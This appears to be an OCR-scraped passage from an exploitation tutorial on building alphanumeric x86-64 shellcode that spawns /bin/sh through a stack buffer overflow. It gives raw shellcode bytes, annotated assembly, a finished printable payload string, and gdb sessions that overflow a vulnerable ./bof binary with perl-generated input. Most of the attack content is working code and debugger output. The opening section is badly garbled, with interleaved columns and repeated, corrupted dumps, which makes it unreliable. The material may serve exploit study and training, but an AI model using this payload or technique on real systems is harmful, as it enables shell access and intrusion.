<pre>erd erd pop erd erd syscall execve(// "\x48\x31\ Chellcocc mmediatel %rax is %rdi is a %rax is %rdi is a %rax is %rdi is a %rax is %rax is %ra</pre>	bin/sh') xff\x57\x57\ le Analys y before the set to 0x3b a pointer to ½ d %rdx are n e this, becau ode. The xor half gdb - mools frcor, (reprime '/pr rogram: //mools frcor, x sray These the bhalf gdb - mools frcor, x sray fra3de: 0x2ff fra3de: 0x2ff fra3de: 0x2ff fra12: 0x2tf fra12: 0x2tf fra12: 0x2tf fra12: 0x2tf fra12: 0x2tf	x5e\x5a\x48Y iIS a syscall: bin/sh\0' ull se the sysc: and imul in for dumps g ./bof int 'natter.' int 'natter.' in	<pre># execve # functi (xbf\x6a\x2f\r all is binary, i istructions ca have been sh /bha/bof(na ') /bd \$(perl.) Segmentation :) x41414141 xx0007fff >x41414141</pre>	t must be writter t must be writter t must be writter n then be used to b debugging symb c = 'print "A"x23 fault. 0x41414141 0x42735555 0x41414141 0x41414141	1, null) 3b - execve () x73\x68\x48\xc1 n to a location th o set values on ty and readabili cols found)dc 2;') 0x41414141 0x0000022 0x41414141 0x1414141	1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
<pre>rdl evaluation of the system of the sys</pre>	bin/sh') xff\x57\x57\ y before the set to 0x3b a pointer to ½ 1%rdx are n to this, becau ode. The xor nalysis These to bha] # gdb mbols from / (perl -e ⁻) to the perl -e	x5e\x5a\x48\ iis e syscall: bin/sh\0' ull se the sysca and imul in uffer dumps q/bof home /hatx222 e/hatter/bhat 1 51GSEV, 2 e/hatter/bhat 1 51GSEV, 2 e/hatter/bhat 1 51GSEV, 2 e/hatter/bhat 1 51GSEV, 2 e/hatter/bhat 1 51GSEV, 2 e/hatter/bhat 2 56d6f (56d6f (56d6f (1111) 0 56d6f (<pre># execve # functi (xbf\x6a\x2f\; all is binary, i istructions ca have been sh //bha/bof(n(')) //bof §(perl - //bha/bof(n(')) //bof §(perl - //bha/bof(n(')) //bof §(perl - //bha/bof(n(')) //bof (perl - //ba/bof(n('))) //bof (perl - //ba/bof(n('))) //bof (perl - //ba/bof(n('))) //bof (perl - //ba/bof(n('))) //bof (perl - //ba/bof(n('))) //bof (perl - //ba/bof(n(')))) //bof (perl - //ba/bof(n(')))) //bof (perl - //ba/bof(n(')))))) //bof (perl - //ba/bof(n(')))))))))))))))))))))))))))))))))))</pre>	t must be writter t must be writter t must be writter n then be used to bortened for brevi o debugging symb -e 'print "A"x23 fault. 0x41414141 0x0000000 0x22736565 0x41414141 0x41414141 0x41414141	1, null) 3b - execve () x73\x68\x48\xc1 n to a location th o set values on ty and readabili ols found)dc 2r') 0x41414141 0x0000002 0x2f616662 0x41414141 0x41414141 0x41414141	1\xef\x08\x57\x54\x5f\x6a\x3b\x59\x0f\x05" hat will eventually be executed ahead of curren registers. ity. one. inter is (return address + shellcode length)
rot erdi pop frax syscall execve(// "\x48\x31\ Shellcoc nmediatel %rax is %rdi is a %rax is tack Ar (root@ares Reading sy (gdb) r \$ Starting ro %ram free %ram free %r	bin/sh') xff\x57\x57\ le Analys y before the set to 0x3b a pointer to '/ d %rdx are n a this, becau ode. The xor nalySis These the bha]# gdb	x5e\x5a\x48 is syscall: bin/sh\0' ull se the sysc and imul in uffer dumps q ./bof home/hatter/home/hatter/ home/hatter/home/hatter/ fe400 (66f62 (66f6	<pre># execve # functi (xbf\x6a\x2f\) all is binary, i istructions ca have been sh /bha/bof(n(') all of \$(perl -) segmentation :) x41414141 xx0007fff xx6472676 xx41414141 xx64726776 xx41414141 xx64726776</pre>	t must be writter n then be used to bortened for brevi o debugging symb re 'print "A"x23 fault. 0x41414141 0x0000000 0x22736565 0x41414141 0x41414141	1, null) 3b - exerve () x73\x68\x48\xc1 h to a location th o set values on ty and readabili ols found)dc 2; ') 0x41414141 0x000102 0x2f616622 0x41414141 0x141414141 m the stack poi	1)xerf(x08)x57)x54)x5f(x6a)x3b)x58)x0f(x05* hat will eventually be executed ahead of curren registers. ity. one. inter is (return address + shellcode length)
reversely	bin/sh') xff\x57\x57\ le Analys y befo 0x3b a pointer to '/ d %rdx are n this, becau ode. The xor nalysis These t bha] # gdb- mbol 1 from // reages this, becau ode. The xor nalysis this, becau this, becau thi	x5e\x5a\x48 ³ iss a syscall: bin/sh\0' ull se the sysc and imul in uffer dumps q ./bof home/hatter/bhatter/ hatter/bhatter/ hatter/bhatter/ hat	<pre># execve # functi (xbf\x6a\x2f\: all is binary, i istructions ca have been sh have been sh //bha/bof(m/ i) abof \$(perl -) sementation bx4141411 bx41414141 bx4141411 bx4141411 bx41414141 bx4141411 bx4141411 bx414141 bx41414141 bx414141 bx41414141 bx414141 bx41414141 bx41414141 bx41414141 bx41414141 bx41414141 bx41414141 bx41414141 bx41414141 bx41414141 bx4141414141 bx41414141414141414141414141414141414141</pre>	t must be writter t must be writter t must be writter n then be used t ortened for brevi odebugging symb - debugging symb - debuggi	1, null) 3b - execve () x73\x68\x48\xc1 n to a location th o set values on ty and readabili cls found)dc 27') 0x41414141 0x41414141 0x41414141 0x41414141	1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" hat will eventually be executed ahead of currer registers. ity. inter is (return address + shellcode length) -
rotal r	bin/sh') xff\x57\x57\ y before the set to 0x3b a pointer to 1/ d %rdx are n e this, becau ode. The xor hall state These the hall state the set to 0x3b a pointer to 1/ d %rdx are n e this, becau ode. The xor hall state These the hall state the set to 0x3b the	x5e\x5a\x48Y iIS e syscall: bin/sh\0' ull se the sysc: and imul in uffer dumps q ./bof g ./bof inme Patx5z/ home Patx5z/ main (), i i i i i i i i i i i i i i i i i i i	<pre># execve # functi (xbf\x6a\x2f\r all is binary, i istructions ca have been sh //bha/bof(nr ')) //bof \$(perl :>cappentation :) x41414141 xx00007fff)x64726f76 yx4141411 xx1414141 xx14414141 xx14414141 xx14414141 xx14414141 xx14414141 xx14414141 xx14414141 xx14414141 xx14414141 xx14414141 xx14414141 xx14414141 xx14414141 xx14414141 xx14414141 xx14414141 xx14414141 xx14414141 xx144141 xx14414141 xx14414141 xx144141 xx1441414141</pre>	t must be writter t must be writter t must be writter t must be used to bortened for brewi contened f	1, null) 3b - execve() x73\x68\x48\xc1 n to a location th o set values on ty and readabili 	1\xef\x08\x57\x54\x5f\x6a\x3b\x56\x0f\x05" hat will eventually be executed ahead of curren registers. ity. one. inter is (return address + shellcode length).

The Offset

In high and in YOL AUR	imul manipulations, 0x5a is placed into %rax and %rsp is moved into %rcx.
# Set %rcx as st	ack pointer
# and align srsp push \$0x5a	
pop %rcx pop %rax	
Preparing for imul, an	cor is used to place 0x0f into %rax, then push %rax to the stack.
# Get magic offs xor \$0x55, %al	et and store in %rdi
Push %rax	# 0x0f on the stack now.
itself from the stack po	inter during an exploit. The offset is stored in %rdi after setting back the stack pointer.
pop %rax imul \$0x41, (%r	<pre># add back to %esp x), %edi # %rdi = 0x3cf, a "magic offset" for us</pre>
he Syscall	
 Now that the offset to a instructions to be written 	an address in front of executing instructions has been obtained, 4 bytes must be nulled for the new en:
movslq (%rcx,%rd xor %esi, (%rcx,	.1), %rsi %rdi,1)
 This next xor comes o for a syscall. 	ut to 0x0000050f, which when moved onto the stack becomes 0x0f050000. 0x0f05 is the machine code
push \$0x3030474a pop %rax xor \$0x30304245.	seax
 The %rax register now 	contains 0x050f. Put 0x0f050000 at (%rcx) - then set the stack pointer back.
push %rax	∉ Garbage reg
 A mov emulation is up 	used to mov 0x0105 from (%rcx) to %rcx + %rdi through the %rsi register, writing the syscall instruction
movslq (%rcx), %	
XOF SESI, (STCX,	rol, 1)
Stack Space	
 Zero out a qword of data 	ata starting at %rcx + 0x30 (48 in decimal)
# Allocate stack movslq 0x30 (%rcx xor %esi 0x30 (%	space), %rsi
	rox)
movslq 0x34(%rcx xor %esi, 0x34(%	rex)), %rsi :ex)
movslq 0x34 (%rcx xor %esi, 0x34 (%	cox) J, %rsi cox)
movslq 0x34 (%rcx xor %esi, 0x34 (%	rox) , %rsi rox)
Movslq 0x34 (%rcx xor %esi, 0x34 (% Register Initializatio • The %rdx, %rdi, and % stack space previously	rex)), %rsi coc) on grsi registers are used for the execve() syscall. These are zeroed out to initialize their values using the r allocated.
movslq 0x34 (frex xor %esi, 0x34 (* Register Initializatio • The %rdx, %rdi, and % stack space previously # zero rdx, rsi,	rex), strai rex) on grsi registers are used for the execve() syscall. These are zeroed out to initialize their values using the allocated. and rdi
movslq 0x34 {[rxx xor kesi, 0x34 [i Register Initialization • The %rdx, %rdi, and % stack space previously # Zero rdx, rsi, movslq 0x30 [ircx	rex) procession of the execve() syscal. These are zeroed out to initialize their values using the rand rdi t, % rdi t, % rdi t, % rdi
 movslq 0x34 (frex xor %esi, 0x34 (* Register Initializatio The %rdx, %rdi, and % stack space previously # Zero rdx, rsi, movslq 0x30 (%rcx movslq 0x30 (%rcx push %rdi pop %rdx 	rex), % trai rex) on farsi registers are used for the execve() syscall. These are zeroed out to initialize their values using the 'allocated. and rdi ', % rai
movalq 0x34 (firex xor leai, 0x34 (i Xor leai, 0x34 (res) phone forsi registers are used for the execve() syscall. These are zeroed out to initialize their values using the vallocated. and rdi i, %rci
movalq 0x34 (incx xor keal, 0x34 (incx xor keal, 0x34 (incx The %rdx, %rdi, and % stack space previously f Zero rdx, rsi, movalq 0x30 (incx movalq 0x30 (incx push trdi pop indx String Argument / bin is placed onto the	<pre>crcs) crcs, % Frai crcs) crcs crcs, crcs crcs, cr</pre>
 movalq 0x34 (ircx xor keal, 0x34 (ircx xor keal, 0x34 (ircx xor keal, 0x34 (ircx xor keal, 0x34 (ircx movalq 0x30 (ircx moval	cos) \$\$ resi cos) \$\$ registers are used for the execve() syscall. These are zeroed out to initialize their values using the r allocated. and rdi \$\$ resi * stack at the space allocated at %rcx + 0x30.
 movslq 0x34 (ircx xxx xxx wolds movslq 0x34 (ircx xxx xxx wolds) Register Initializatio The %rdx, %rdi, and % stack space previously # Zero rdx, rsi, movslq 0x30 (ircx movslq 0x30 (ircx movslq 0x30 (ircx push %rdi pop %rdx String Argument /bin is placed onto the push \$0x5a58555a push rax xxx \$50x5a13075, xxx \$50x5a10, xxx \$50x500, xxx \$50x50, xxx \$50x500, xxx \$50x500, xxx \$50x500, xxx \$50x500, xxx \$50x50	cost cost <t< td=""></t<>
 movalq 0x34 (ircx xor keal, 0x30 (ircx movalq 0x30 (ircx xor xor keal, 0x30 (ircx xor xor xor xor xor xor xor xor xor xo	<pre>crcs) crcs) crcs crcs</pre>
 movslq 0x34 (firex xor %esi, 0x34 (i Register Initializatio The %rdx, %rdi, and % stack space previously # Zero rdx, rsi, movslq 0x30 (firex movslq 0x30 (firex movslq 0x30 (firex push %rdi pop %rdx String Argument /bin is placed onto the push \$0x5a58555a pop %rax xor %0x34313775, xor %eax, 0x30 (% /sh\0 is placed onto the push \$0x5a58555a pop %rax 	cox) * trai cox) * trai forsi registers are used for the execve() syscall. These are zeroed out to initialize their values using the vallocated. and rdi * stack at the space allocated at %rcx + 0x30. stack at the space allocated at %rcx + 0x30. %eax * stack at the space allocated at %rcx + 0x34.
 movalq 0x34 (ircx xor keal, 0x30 (ircx movalq 0x31 (ircx xor xor xor xor xor xor xor xor xor xo	crest
 movalq 0x34 (ircx xor ieal, 0x34 (ircx xor ieal, 0x34 (irc xor ieal, 0x34 (irc xor ieal, 0x34 (irc you have a stack space previous) # Zero rdx, rsd, irc you have a stack space previous) # Zero rdx, rsd, irc you have a stack space previous (irc you have a stack space previous) # Zero rdx, rsd, irc you have a stack space previous (irc you have a stack space previous) # Zero rdx, rsd, irc you have a stack space previous (irc you have a stack space previous) / /bin is placed onto the push \$0x5a5855s pop irax xor \$0x5a3313775, xor ieax, 0x30 (irc you have a stack space onto the push \$0x6a33475, xor ieax, 0x34 (irc you have a stack space a stack spac	crest
 movalq 0x34 (ircx xor ieal, 0x30 (ircx movalq 0x30 (ircx xor ieal, 0x30 (ircx), xor ieal, 0x30 (ircx), 	cox) * trai cox) for i registers are used for the execve() syscall. These are zeroed out to initialize their values using the values allocated. and rdi * trai * stack at the space allocated at %rcx + 0x30. * exact
 movalq 0.834 (ircx xor keal, 0x34 (ircx xor keal, 0x34 (ircx xor keal, 0x34 (ircx xor keal, 0x34 (ircx xor keal, 0x30 (ircx movalq 0x30 (ircx xor sock313775, xor keax, 0x30 (ircx xor 50x6a51475a pop irax xor 50x6a51475a pop irax xor 50x6a51475a pop irax xor 50x6a51475a xor is used as a mov xor 0x30 (ircx), Set the stack pointer to the iron iron iron iron iron iron iron iron	cox) trai cox) trai cox) the execve() syscall. These are zeroed out to initialize their values using the <i>r</i> allocated. and rdi the space allocated at %rcx + 0x30. estack at the space allocated at %rcx + 0x30. teax cox) e stack at the space allocated at %rcx + 0x30. teax cox) e stack at the space allocated at %rcx + 0x34. teax cox) emulation to place //bin/sh\0' into %rdi. irdi ack so %rsp = %rcx + 8 so that the push of %rdi does not overwrite (%rcx). Push //bin/sh\0'.
 movalq 0x34 (ircx xor ieal, 0x30 (ircx movalq 0x30 (ircx movalq 0x30 (ircx movalq 0x30 (ircx push ircl pop irax f Zero rdx, rsi, movalq 0x30 (ircx push ircl pop irax f Zero rdx, rsi, xor isak solution (ircx push ircl pop irax f Zero rdx, rsi, xor isak solution (ircx push ircl pop irax xor \$0x333)775, xor isax, 0x30 (ircx push ircl pop irax f Sh10 is placed onto the push \$0x6a51476a pop irax xor \$0x6a393475, xor isax, 0x34 (ircx), ir such as a mov xor 0x30 (ircx), is Set the stack pointer to pop irax 	cos) ************************************
 movel q 0.33 ([rex xor keal, 0x34 (]; xor keal, 0x34 (]; xor keal, 0x34 (]; Register Initializatio The %rdx, %rdi, and 9 stack space previously # Zero rdx, rsi, movel q 0x30 (]; rex xor \$0x6a33475, xor keax, 0x34 (]; /sh\0 is placed onto the push \$0x6a51475a pop %rax xor \$0x6a33475, xor keax, 0x34 (]; xor is used as a mov xor \$0x6a33475, xor keax, 0x34 (]; rex ; xor is used as a mov xor \$0x6a3475, xor keax, 0x34 (]; rex ; xor is used as a mov xor \$0x6a3475, xor keax, 0x34 (]; rex ; Set the stack pointer the push %rdi 	<pre>cos) cos) cos) cos) cos) cos) cos) cos)</pre>
 movelig 0x34 (tree xor keel, 0x34 (tree xor xor xor keel, 0x30 (tree movelig 0x30 (tree movelig 0x30 (tree xor youth trdi pop krak String Argument /bin is placed onto the push \$0x5a58555a product of tree xor \$0x3331375, xor keex, 0x30 (tree xor \$0x6a331375, xor keex, 0x30 (tree xor \$0x6a3	cost cost <t< td=""></t<>
 movalq 0x34 (frex xor keal, 0x34 (frex movalq 0x30 frex xor 0x3413775, xor keax, 0x34 (frex), xor keax, 0x34 (frex), xor keax, 0x30 (frex), frex push frex push frex %rsi and %rdx are 0. 	cost pn first registers are used for the execve() syscall. These are zeroed out to initialize their values using the allocated. and rdi , brdi , trail estack at the space allocated at %rcx + 0x30. %eax cost estack at the space allocated at %rcx + 0x30. %eax cost emulation to place //bin/sh\0' into %rdi. indi
 movel q 0x34 (ircx xor iveal, 0x34 (ircx xor iveal, 0x34 (ircx xor iveal, 0x34 (ircx movel q 0x30 (ircx xor iveax, 0x34 (ircx xor iveax, 0x34 (ircx xor iveax, 0x34 (ircx xor iveax, 0x34 (ircx), sor iveax, 0x34 (ircx), Set the stack pointer the posh ircix irc iveax (ircx), irci Yersi and %ordx are 0. movel (ircx), irci Align %orso and %orcx 	crost crott crott
 worsig 0.83 (firex xor keal, 0x34 (firex movalg 0x30 (firex you had so the stack space of the stack	cost pn free registers are used for the execve() syscall. These are zeroed out to initialize their values using the rallocated. and rdi estack at the space allocated at %rcx + 0x30. %eax cost estack at the space allocated at %rcx + 0x30. %eax cost estack at the space allocated at %rcx + 0x34. %eax cost estack at the space allocated at %rcx + 0x34. %eax cost estack at the space allocated at %rcx + 0x34. %eax cost frequencies frequenci
 worsig 0.33 (free xor weat, 0x34 (ix xor weat, 0x34 (ix xor weat, 0x34 (ix xor weat, 0x30 (ir xor movalg 0x30 (ir xor so 0x33 413775, xor weax, 0x34 (ir xor so 0x33 413775, xor weax, 0x34 (ir xor so 0x33 413775, xor weax, 0x34 (ir xor so 0x33 4175 xor so 0x30 (ir xor), Set the stack pointer the pop wrax push wrat %risi and %rdx are 0. pop wrax push wrat (ir xor), wrat xor (ir x	cost cost and rdi astack at the space allocated at %rcx + 0x30. % % % e stack at the space allocated at %rcx + 0x30. %
 worsig 0.83 (firex xor isel, 0x34 (firex xor isel, 0x30 (firex movalg 0x30 (firex you have a second to the push \$0x5a58555 pop irax xor \$0x3a13775, xor iseax, 0x30 (firex), itel xor is used as a mov xor 0x30 (firex), itel xor iseax and %rdx are 0. yoush \$0x58 movalg (firex), itel xor (firex),	ccol first registers are used for the execve() syscall. These are zeroed out to initialize their values using the allocated. and rol (), % rol (), % rol () astack at the space allocated at %rcx + 0x30. % stack at the space allocated at %rcx + 0x34. % stack at the space allocated at %rcx + 0x34. % stack at the space allocated at %rcx + 0x34. % stack at the space allocated at %rcx + 0x34. % stack at the space allocated at %rcx + 0x34. * stack at the space allocated at %rcx + 0x34. * stack at the space allocated at %rcx + 0x34. * stack at the space allocated at %rcx + 0x34. * stack so %rsp = %rcx + 8 so that the push of %rdi does not overwrite (%rcx). Push //bin/shl07. = First, push a byte to meet the sign requirement for movslq, then zero %rdi. rdi then use a mov emulation to place %rsp into %rdi. %rdi then contains a pointer to 7/bin/shl07. x3b for the execve() syscall.
 New Second Control of Second Se	ccol first registers are used for the execve() syscall. These are zeroed out to initialize their values using the allocated. and ccid is stack at the space allocated at %rcx + 0x30. teax ccox) e stack at the space allocated at %rcx + 0x34. teax teax </td
 New Set (1993) Register Initializatie The %rdx, %rdi, and % stack space previously # Zero rdx, rsi, movalq 0x30 (#rex movalq 0x30 (#rex movalq 0x30 (#rex movalq 0x30 (#rex movalq 0x30 (#rex movalq 0x30 (#rex / bin is placed onto the push stack space previously / shi is placed onto the push social starts / shi is placed onto the push \$0x5a5855a pop irax xor \$0x6a33375, xor !eax, 0x30 (* / shi is placed onto the push \$0x6a51475a pop irax xor \$0x6a393475, xor !eax, 0x30 (* / shi is placed onto the push \$0x6a5393475, xor !eax, 0x30 (* xor is used as a mov xor 0x30 (*rex), Set the stack pointer the pop irax push irat %rsi and %rdx are 0. push \$0x58 movalq (*rex), %rat Align %rsp and %rcx, push "rap xor (*rex), %rat %rax is set to 59 or 0 xor \$0x63, %a1 Final registers: 	cros) ph dirst registers are used for the execve() syscall. These are zeroed out to initialize their values using the allocated. and rol1 (), trait e stack at the space allocated at %rcx + 0x30. () trait
 movalq 0x34 (frex xor keal, 0x34 (frex xor keal, 0x34 (frex xor keal, 0x34 (frex xor keal, 0x34 (frex movalq 0x30 frex xor 50x5a333775, xor freax, 0x30 (frex xor 50x5a333775, xor freax, 0x30 (frex), /sh\0 is placed onto the push \$0x5a58555 pop frax pop frax xor \$0x5a33377, xor freax, 0x30 (frex), xor is used as a mov xor \$0x5a33375, xor freax, 0x30 (frex), Set the stack pointer the pop frax push fred free freax free free freax free free free free free free free fre	cross ph drsi registers are used for the execve() syscall. These are zeroed out to initialize their values using the allocated. and rdi (), trait estack at the space allocated at %rcx + 0x30. heax cross) e stack at the space allocated at %rcx + 0x30. heax cross) e stack at the space allocated at %rcx + 0x34. heax cross) e stack at the space allocated at %rcx + 0x34. heax cross) e stack at the space allocated at %rcx + 0x34. heax cross) e stack as the space allocated at %rcx + 0x34. heax cross) e stack as the space allocated at %rcx + 0x34. heax cross) e stack as the space allocated at %rcx + 0x34. heax cross) e stack as the space allocated at %rcx + 0x34. heax cross) e stack as wrsp = %rcx + 8 so that the push of %rdi does not overwrite (%rcx). Push /bin/sh/0. rdi then use a movernulation to place %rsp into %rdi. %rdi then contains a pointer to /bin/sh/0.

%rsi = null

%rdx = null

X4UP2Xk-9AHc49149hJG00X5EB00PXHc1149Hcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XwjXHc9H39XTH394c						
Some assemblers prefer the # character to the ',' character for comments. User may have to find and replace to get it to assemble properly.						
.global _start .text						
; Set %rcx as stack pointer						
; and align %rsp push \$0x5a						
push %rsp						
pop %rax						
; Get magic offset and store	in %rdi					
xor \$0x55, %al	: 0x14 on the stack now.					
pop %rax	; add back to %esp					
1m11 \$0x41, (%rcx), %edi	; srai = vx3cr, a "magic offset" for us ; This is decimal value 975.					
	; If this is too low/high, suggest a ; modification to xor of %al for					
	; changing the imul results					
; Write the syscall						
<pre>movslq (%rcx,%rdi,1), %rsi xor %esi, (%rcx,%rdi,1)</pre>	; 4 bytes have been nulled					
push \$0x3030474a						
xor \$0x30304245, %eax						
push %rax pop %rax	; Garbage reg					
movslq (%rcx), %rsi						
KOL SESI, (SICX, SIGI, I)						
; Sycall written, set values ; allocate 8 bytes for '/bin/	now. 'sh\0'					
movslq 0x30 (%rcx), %rsi						
movslq 0x34(%rcx), %rsi						
xor %esi, 0x34(%rcx)						
; Zero rdx, rsi, and rdi movslg 0x30(%rcx), %rdi						
movslq 0x30 (%rcx), %rsi						
pop %rdx						
; Store '/bin/sh\0' in %rdi						
push \$0x5a58555a						
xor \$0x34313775, %eax						
xor %eax, 0x30(%rcx)	; '/bin' just went onto the stack					
push \$0x6a51475a						
xor \$0x6a393475, %eax						
xor %eax, 0x34(%rcx) xor 0x30(%rcx), %rdi	; '/sh\U' just went onto the stack ; %rdi now contains '/bin/sh\O'					
pop %rax						
Public 0101						
movslq (%rcx), %rdi						
xor (%rcx), %rdi	; %rdi zeroed					
push %rsp						
<pre>xor (%rcx), %rdi xor \$0x63, %al</pre>						
essful Overflow Test						
This shellcode was te	sted on a modified bof.c to make the buffer 200 bytes in stead of 100 bytes, as the					
snelicode here excee	as the original buffer size.					
haak bhall adh - 0.6						
nost bnaj# gob -q ./boi ng symbols from /home/hatter/bl	ha/bof(no debugging symbols found)done.	VM-MUADU3QV/mU3Q/AH #V#,10E #\2(\7\				
The second	concepteouxsebuerrectifence/updeceffece/upde updeceffece/updeceffece/updeceffece/updeceffece/updeceffece/updeceffece/updeceffece/updeceffece/updeceffece/updeceffece/updeceffece/updeceffece/updeceffece/updeceffece/updeceffece/updeceffece/updeceffece/updeceffece/updeceffece/updece	<pre>\wjAncon39XTH394C" . "1"X1U5 . "\X26\Xe/\Xff\Xff\ TWENT - 714130h FCO/WE - 40/12 40/2 . 0000/WE - 0020WE - 204 - 1000000000000000000000000000000000000</pre>				
ng program: /home/hatter/bha/h	oof `perl -e 'print "jZTYX4UPXk9AHc49149hJG00X5EB00PXHc1149Hcq01q0Hcq41q4Hcy0Hcq0WZh	ZUXZXDU/141AUNZGQJXDU49J1A4H3YUXWJXHC9H39X1H394C"				